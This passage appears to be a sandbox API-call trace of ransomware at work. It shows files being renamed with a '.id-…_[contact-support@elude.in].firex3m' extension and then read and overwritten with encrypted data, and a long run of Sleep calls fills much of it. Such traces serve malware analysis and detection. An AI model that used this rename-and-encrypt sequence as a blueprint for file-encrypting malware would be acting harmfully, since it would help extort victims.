Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp32.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp32.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0266.176] CloseHandle (hObject=0x704) returned 1 [0266.176] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp32.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp32.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp32.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp32.msi.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.177] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp32.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ab054a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ab054a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fd000, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="osmdp32.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSMDP3~1.FIR")) returned 0x6d5200 [0266.177] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0266.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp32.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp32.msi.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0266.178] GetProcessHeap () returned 0x630000 [0266.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a3b20 [0266.178] GetProcessHeap () returned 0x630000 [0266.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0266.178] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.178] ReadFile (in: hFile=0x704, lpBuffer=0x72a3b20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.544] GetProcessHeap () returned 0x630000 [0274.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0274.544] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.545] WriteFile (in: hFile=0x704, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.545] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.545] WriteFile (in: hFile=0x704, lpBuffer=0x71e088f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e088f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0274.547] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.547] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0274.547] CloseHandle (hObject=0x704) returned 1 [0274.547] GetProcessHeap () returned 0x630000 [0274.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0274.547] GetProcessHeap () returned 0x630000 [0274.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0274.547] GetProcessHeap () returned 0x630000 [0274.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0274.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp32.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ab054a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ab054a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69986ae1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1fd024, dwReserved0=0xc6c7496, dwReserved1=0x72a3b18, cFileName="osmdp32.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSMDP3~1.FIR")) returned 0x6d4e40 [0274.548] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0274.548] Sleep (dwMilliseconds=0x1) [0276.401] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERB____.TTF", len=0x45 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERB____.TTF") returned 1 [0276.401] GetProcessHeap () returned 0x630000 [0276.401] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4adc) returned 0x6fe3bb0 [0276.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERB____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\perb____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0276.404] CloseHandle (hObject=0x6dc) returned 1 [0276.404] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0276.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERB____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\perb____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERB____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\perb____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0276.405] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0276.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERB____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe490, dwReserved0=0x0, dwReserved1=0x0, cFileName="PERB____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PERB__~1.FIR")) returned 0x6d5400 [0276.406] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0276.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERB____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\perb____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0276.406] GetProcessHeap () returned 0x630000 [0276.406] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0276.406] GetProcessHeap () returned 0x630000 [0276.406] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a7c70 [0276.406] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0276.406] ReadFile (in: hFile=0x6dc, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 41 os_tid = 0xd54 [0067.196] Sleep (dwMilliseconds=0x1) [0067.440] Sleep (dwMilliseconds=0x1) [0067.560] Sleep (dwMilliseconds=0x1) [0067.714] Sleep (dwMilliseconds=0x1) [0067.827] Sleep (dwMilliseconds=0x1) [0067.936] Sleep (dwMilliseconds=0x1) [0068.042] Sleep (dwMilliseconds=0x1) [0068.148] Sleep (dwMilliseconds=0x1) [0068.281] Sleep (dwMilliseconds=0x1) [0068.394] Sleep (dwMilliseconds=0x1) [0068.497] Sleep (dwMilliseconds=0x1) [0068.540] Sleep (dwMilliseconds=0x1) [0068.703] Sleep (dwMilliseconds=0x1) [0068.742] Sleep (dwMilliseconds=0x1) [0068.797] Sleep (dwMilliseconds=0x1) [0068.835] Sleep (dwMilliseconds=0x1) [0068.889] Sleep (dwMilliseconds=0x1) [0068.929] Sleep (dwMilliseconds=0x1) [0068.981] Sleep (dwMilliseconds=0x1) [0069.042] Sleep (dwMilliseconds=0x1) [0069.110] Sleep (dwMilliseconds=0x1) [0069.153] Sleep (dwMilliseconds=0x1) [0069.203] Sleep (dwMilliseconds=0x1) [0069.244] Sleep (dwMilliseconds=0x1) [0069.298] Sleep (dwMilliseconds=0x1) [0069.363] Sleep (dwMilliseconds=0x1) [0069.434] Sleep (dwMilliseconds=0x1) [0069.484] Sleep (dwMilliseconds=0x1) [0069.522] Sleep (dwMilliseconds=0x1) [0069.689] Sleep (dwMilliseconds=0x1) [0069.918] Sleep (dwMilliseconds=0x1) [0070.147] Sleep (dwMilliseconds=0x1) [0070.262] Sleep (dwMilliseconds=0x1) [0070.383] Sleep (dwMilliseconds=0x1) [0070.533] Sleep (dwMilliseconds=0x1) [0070.870] Sleep (dwMilliseconds=0x1) [0071.568] Sleep (dwMilliseconds=0x1) [0071.942] Sleep (dwMilliseconds=0x1) [0072.429] Sleep (dwMilliseconds=0x1) [0072.607] Sleep (dwMilliseconds=0x1) [0072.799] Sleep (dwMilliseconds=0x1) [0072.907] Sleep (dwMilliseconds=0x1) [0073.098] Sleep (dwMilliseconds=0x1) [0073.608] Sleep (dwMilliseconds=0x1) [0073.764] Sleep (dwMilliseconds=0x1) [0073.934] Sleep (dwMilliseconds=0x1) [0074.045] Sleep (dwMilliseconds=0x1) [0074.179] Sleep (dwMilliseconds=0x1) [0074.382] Sleep (dwMilliseconds=0x1) [0074.669] Sleep (dwMilliseconds=0x1) [0074.773] Sleep (dwMilliseconds=0x1) [0074.847] Sleep (dwMilliseconds=0x1) [0074.910] Sleep (dwMilliseconds=0x1) [0075.002] Sleep (dwMilliseconds=0x1) [0075.059] Sleep (dwMilliseconds=0x1) [0075.107] Sleep (dwMilliseconds=0x1) [0075.155] Sleep (dwMilliseconds=0x1) [0075.217] Sleep (dwMilliseconds=0x1) [0075.262] Sleep (dwMilliseconds=0x1) [0075.306] Sleep (dwMilliseconds=0x1) [0075.360] Sleep (dwMilliseconds=0x1) [0075.422] Sleep (dwMilliseconds=0x1) [0075.511] Sleep (dwMilliseconds=0x1) [0075.570] Sleep (dwMilliseconds=0x1) [0075.610] Sleep (dwMilliseconds=0x1) [0075.692] Sleep (dwMilliseconds=0x1) [0075.748] Sleep (dwMilliseconds=0x1) [0075.788] Sleep (dwMilliseconds=0x1) [0075.835] Sleep (dwMilliseconds=0x1) [0076.044] Sleep (dwMilliseconds=0x1) [0076.062] Sleep (dwMilliseconds=0x1) [0076.083] Sleep (dwMilliseconds=0x1) [0076.107] Sleep (dwMilliseconds=0x1) [0076.186] Sleep (dwMilliseconds=0x1) [0076.391] Sleep (dwMilliseconds=0x1) [0076.530] Sleep (dwMilliseconds=0x1) [0076.671] Sleep (dwMilliseconds=0x1) [0076.770] Sleep (dwMilliseconds=0x1) [0076.809] Sleep (dwMilliseconds=0x1) [0076.842] Sleep (dwMilliseconds=0x1) [0076.871] Sleep (dwMilliseconds=0x1) [0076.920] Sleep (dwMilliseconds=0x1) [0076.985] Sleep (dwMilliseconds=0x1) [0077.065] Sleep (dwMilliseconds=0x1) [0077.148] Sleep (dwMilliseconds=0x1) [0077.221] Sleep (dwMilliseconds=0x1) [0077.289] Sleep (dwMilliseconds=0x1) [0077.359] Sleep (dwMilliseconds=0x1) [0077.413] Sleep (dwMilliseconds=0x1) [0077.520] Sleep (dwMilliseconds=0x1) [0077.598] Sleep (dwMilliseconds=0x1) [0077.648] Sleep (dwMilliseconds=0x1) [0077.689] Sleep (dwMilliseconds=0x1) [0077.735] Sleep (dwMilliseconds=0x1) [0077.783] Sleep (dwMilliseconds=0x1) [0077.832] Sleep (dwMilliseconds=0x1) [0077.857] Sleep (dwMilliseconds=0x1) [0077.911] Sleep (dwMilliseconds=0x1) [0077.959] Sleep (dwMilliseconds=0x1) [0077.981] Sleep (dwMilliseconds=0x1) [0078.062] Sleep (dwMilliseconds=0x1) [0078.089] Sleep (dwMilliseconds=0x1) [0078.114] Sleep (dwMilliseconds=0x1) [0078.137] Sleep (dwMilliseconds=0x1) [0078.198] Sleep (dwMilliseconds=0x1) [0078.221] Sleep (dwMilliseconds=0x1) [0078.241] Sleep (dwMilliseconds=0x1) [0078.250] Sleep (dwMilliseconds=0x1) [0078.275] Sleep (dwMilliseconds=0x1) [0078.283] Sleep (dwMilliseconds=0x1) [0078.316] Sleep (dwMilliseconds=0x1) [0078.357] Sleep (dwMilliseconds=0x1) [0078.382] Sleep (dwMilliseconds=0x1) [0078.448] Sleep (dwMilliseconds=0x1) [0078.532] Sleep (dwMilliseconds=0x1) [0078.563] Sleep (dwMilliseconds=0x1) [0078.610] Sleep (dwMilliseconds=0x1) [0078.626] Sleep (dwMilliseconds=0x1) [0078.646] Sleep (dwMilliseconds=0x1) [0078.659] Sleep (dwMilliseconds=0x1) [0078.676] Sleep (dwMilliseconds=0x1) [0078.710] Sleep (dwMilliseconds=0x1) [0078.719] Sleep (dwMilliseconds=0x1) [0078.740] Sleep (dwMilliseconds=0x1) [0078.752] Sleep (dwMilliseconds=0x1) [0078.772] Sleep (dwMilliseconds=0x1) [0078.784] Sleep (dwMilliseconds=0x1) [0078.843] Sleep (dwMilliseconds=0x1) [0078.892] Sleep (dwMilliseconds=0x1) [0078.928] Sleep (dwMilliseconds=0x1) [0078.944] Sleep (dwMilliseconds=0x1) [0078.958] Sleep (dwMilliseconds=0x1) [0078.977] Sleep (dwMilliseconds=0x1) [0079.004] Sleep (dwMilliseconds=0x1) [0079.030] Sleep (dwMilliseconds=0x1) [0079.051] Sleep (dwMilliseconds=0x1) [0079.078] Sleep (dwMilliseconds=0x1) [0079.099] Sleep (dwMilliseconds=0x1) [0079.115] Sleep (dwMilliseconds=0x1) [0079.130] Sleep (dwMilliseconds=0x1) [0079.158] Sleep (dwMilliseconds=0x1) [0079.226] Sleep (dwMilliseconds=0x1) [0079.249] Sleep (dwMilliseconds=0x1) [0079.271] Sleep (dwMilliseconds=0x1) [0079.285] Sleep (dwMilliseconds=0x1) [0079.302] Sleep (dwMilliseconds=0x1) [0079.314] Sleep (dwMilliseconds=0x1) [0079.331] Sleep (dwMilliseconds=0x1) [0079.346] Sleep (dwMilliseconds=0x1) [0079.363] Sleep (dwMilliseconds=0x1) [0079.376] Sleep (dwMilliseconds=0x1) [0079.399] Sleep (dwMilliseconds=0x1) [0079.415] Sleep (dwMilliseconds=0x1) [0079.425] Sleep (dwMilliseconds=0x1) [0079.445] Sleep (dwMilliseconds=0x1) [0079.518] Sleep (dwMilliseconds=0x1) [0079.541] Sleep (dwMilliseconds=0x1) [0079.548] Sleep (dwMilliseconds=0x1) [0079.599] Sleep (dwMilliseconds=0x1) [0079.612] Sleep (dwMilliseconds=0x1) [0079.627] Sleep (dwMilliseconds=0x1) [0079.643] Sleep (dwMilliseconds=0x1) [0079.659] Sleep (dwMilliseconds=0x1) [0079.677] Sleep (dwMilliseconds=0x1) [0079.694] Sleep (dwMilliseconds=0x1) [0079.731] Sleep (dwMilliseconds=0x1) [0079.743] Sleep (dwMilliseconds=0x1) [0079.801] Sleep (dwMilliseconds=0x1) [0079.815] Sleep (dwMilliseconds=0x1) [0079.831] Sleep (dwMilliseconds=0x1) [0079.890] Sleep (dwMilliseconds=0x1) [0079.916] Sleep (dwMilliseconds=0x1) [0079.932] Sleep (dwMilliseconds=0x1) [0079.939] Sleep (dwMilliseconds=0x1) [0079.985] Sleep (dwMilliseconds=0x1) [0080.049] Sleep (dwMilliseconds=0x1) [0080.069] Sleep (dwMilliseconds=0x1) [0080.085] Sleep (dwMilliseconds=0x1) [0080.099] Sleep (dwMilliseconds=0x1) [0080.137] Sleep (dwMilliseconds=0x1) [0080.159] Sleep (dwMilliseconds=0x1) [0080.174] Sleep (dwMilliseconds=0x1) [0080.237] Sleep (dwMilliseconds=0x1) [0080.261] Sleep (dwMilliseconds=0x1) [0080.268] Sleep (dwMilliseconds=0x1) [0080.286] Sleep (dwMilliseconds=0x1) [0080.300] Sleep (dwMilliseconds=0x1) [0080.320] Sleep (dwMilliseconds=0x1) [0080.342] Sleep (dwMilliseconds=0x1) [0080.362] Sleep (dwMilliseconds=0x1) [0080.381] Sleep (dwMilliseconds=0x1) [0080.393] Sleep (dwMilliseconds=0x1) [0080.409] Sleep (dwMilliseconds=0x1) [0080.427] Sleep (dwMilliseconds=0x1) [0080.440] Sleep (dwMilliseconds=0x1) [0080.504] Sleep (dwMilliseconds=0x1) [0080.525] Sleep (dwMilliseconds=0x1) [0080.548] Sleep (dwMilliseconds=0x1) [0080.566] Sleep (dwMilliseconds=0x1) [0080.583] Sleep (dwMilliseconds=0x1) [0080.604] Sleep (dwMilliseconds=0x1) [0080.615] Sleep (dwMilliseconds=0x1) [0080.659] Sleep (dwMilliseconds=0x1) [0080.674] Sleep (dwMilliseconds=0x1) [0080.703] Sleep (dwMilliseconds=0x1) [0080.723] Sleep (dwMilliseconds=0x1) [0080.764] Sleep (dwMilliseconds=0x1) [0080.788] Sleep (dwMilliseconds=0x1) [0080.804] Sleep (dwMilliseconds=0x1) [0080.820] Sleep (dwMilliseconds=0x1) [0080.835] Sleep (dwMilliseconds=0x1) [0080.848] Sleep (dwMilliseconds=0x1) [0080.887] Sleep (dwMilliseconds=0x1) [0080.919] Sleep (dwMilliseconds=0x1) [0080.943] Sleep (dwMilliseconds=0x1) [0080.956] Sleep (dwMilliseconds=0x1) [0080.979] Sleep (dwMilliseconds=0x1) [0080.989] Sleep (dwMilliseconds=0x1) [0081.005] Sleep (dwMilliseconds=0x1) [0081.017] Sleep (dwMilliseconds=0x1) [0081.038] Sleep (dwMilliseconds=0x1) [0081.048] Sleep (dwMilliseconds=0x1) [0081.287] Sleep (dwMilliseconds=0x1) [0081.438] Sleep (dwMilliseconds=0x1) [0081.526] Sleep (dwMilliseconds=0x1) [0081.542] Sleep (dwMilliseconds=0x1) [0081.558] Sleep (dwMilliseconds=0x1) [0081.566] Sleep (dwMilliseconds=0x1) [0081.580] Sleep (dwMilliseconds=0x1) [0081.601] Sleep (dwMilliseconds=0x1) [0081.612] Sleep (dwMilliseconds=0x1) [0081.630] Sleep (dwMilliseconds=0x1) [0081.663] Sleep (dwMilliseconds=0x1) [0081.684] Sleep (dwMilliseconds=0x1) [0081.712] Sleep (dwMilliseconds=0x1) [0081.754] Sleep (dwMilliseconds=0x1) [0081.779] Sleep (dwMilliseconds=0x1) [0081.835] Sleep (dwMilliseconds=0x1) [0081.847] Sleep (dwMilliseconds=0x1) [0081.888] Sleep (dwMilliseconds=0x1) [0081.912] Sleep (dwMilliseconds=0x1) [0081.924] Sleep (dwMilliseconds=0x1) [0081.945] Sleep (dwMilliseconds=0x1) [0081.964] Sleep (dwMilliseconds=0x1) [0081.973] Sleep (dwMilliseconds=0x1) [0081.984] Sleep (dwMilliseconds=0x1) [0082.005] Sleep (dwMilliseconds=0x1) [0082.033] Sleep (dwMilliseconds=0x1) [0082.053] Sleep (dwMilliseconds=0x1) [0082.066] Sleep (dwMilliseconds=0x1) [0082.115] Sleep (dwMilliseconds=0x1) [0082.129] Sleep (dwMilliseconds=0x1) [0082.155] Sleep (dwMilliseconds=0x1) [0082.196] Sleep (dwMilliseconds=0x1) [0082.213] Sleep (dwMilliseconds=0x1) [0082.234] Sleep (dwMilliseconds=0x1) [0082.257] Sleep (dwMilliseconds=0x1) [0082.278] Sleep (dwMilliseconds=0x1) [0082.293] Sleep (dwMilliseconds=0x1) [0082.310] Sleep (dwMilliseconds=0x1) [0082.369] Sleep (dwMilliseconds=0x1) [0082.419] Sleep (dwMilliseconds=0x1) [0082.539] Sleep (dwMilliseconds=0x1) [0082.590] Sleep (dwMilliseconds=0x1) [0082.635] Sleep (dwMilliseconds=0x1) [0082.686] Sleep (dwMilliseconds=0x1) [0082.727] Sleep (dwMilliseconds=0x1) [0082.778] Sleep (dwMilliseconds=0x1) [0082.820] Sleep (dwMilliseconds=0x1) [0082.871] Sleep (dwMilliseconds=0x1) [0082.915] Sleep (dwMilliseconds=0x1) [0082.970] Sleep (dwMilliseconds=0x1) [0083.014] Sleep (dwMilliseconds=0x1) [0083.056] Sleep (dwMilliseconds=0x1) [0083.102] Sleep (dwMilliseconds=0x1) [0083.152] Sleep (dwMilliseconds=0x1) [0083.199] Sleep (dwMilliseconds=0x1) [0083.244] Sleep (dwMilliseconds=0x1) [0083.291] Sleep (dwMilliseconds=0x1) [0083.339] Sleep (dwMilliseconds=0x1) [0083.384] Sleep (dwMilliseconds=0x1) [0083.437] Sleep (dwMilliseconds=0x1) [0083.702] Sleep (dwMilliseconds=0x1) [0083.752] Sleep (dwMilliseconds=0x1) [0083.801] Sleep (dwMilliseconds=0x1) [0083.914] Sleep (dwMilliseconds=0x1) [0084.011] Sleep (dwMilliseconds=0x1) [0084.094] Sleep (dwMilliseconds=0x1) [0084.201] Sleep (dwMilliseconds=0x1) [0084.344] Sleep (dwMilliseconds=0x1) [0084.736] Sleep (dwMilliseconds=0x1) [0084.812] Sleep (dwMilliseconds=0x1) [0084.876] Sleep (dwMilliseconds=0x1) [0084.962] Sleep (dwMilliseconds=0x1) [0085.044] Sleep (dwMilliseconds=0x1) [0085.127] Sleep (dwMilliseconds=0x1) [0085.175] Sleep (dwMilliseconds=0x1) [0085.342] Sleep (dwMilliseconds=0x1) [0085.394] Sleep (dwMilliseconds=0x1) [0085.732] Sleep (dwMilliseconds=0x1) [0085.835] Sleep (dwMilliseconds=0x1) [0085.959] Sleep (dwMilliseconds=0x1) [0086.080] Sleep (dwMilliseconds=0x1) [0086.189] Sleep (dwMilliseconds=0x1) [0086.234] Sleep (dwMilliseconds=0x1) [0086.296] Sleep (dwMilliseconds=0x1) [0086.350] Sleep (dwMilliseconds=0x1) [0086.590] Sleep (dwMilliseconds=0x1) [0086.895] Sleep (dwMilliseconds=0x1) [0087.093] Sleep (dwMilliseconds=0x1) [0087.469] Sleep (dwMilliseconds=0x1) [0089.107] Sleep (dwMilliseconds=0x1) [0090.329] Sleep (dwMilliseconds=0x1) [0091.557] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", len=0x2c | out: pbstr=0x357ff7c*="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 1 [0091.557] GetProcessHeap () returned 0x630000 [0091.557] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8f40, Size=0x1c) returned 0x6e9170 [0091.557] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0091.558] CloseHandle (hObject=0x6c0) returned 1 [0091.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.558] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0091.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.559] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5240 [0091.559] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0091.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 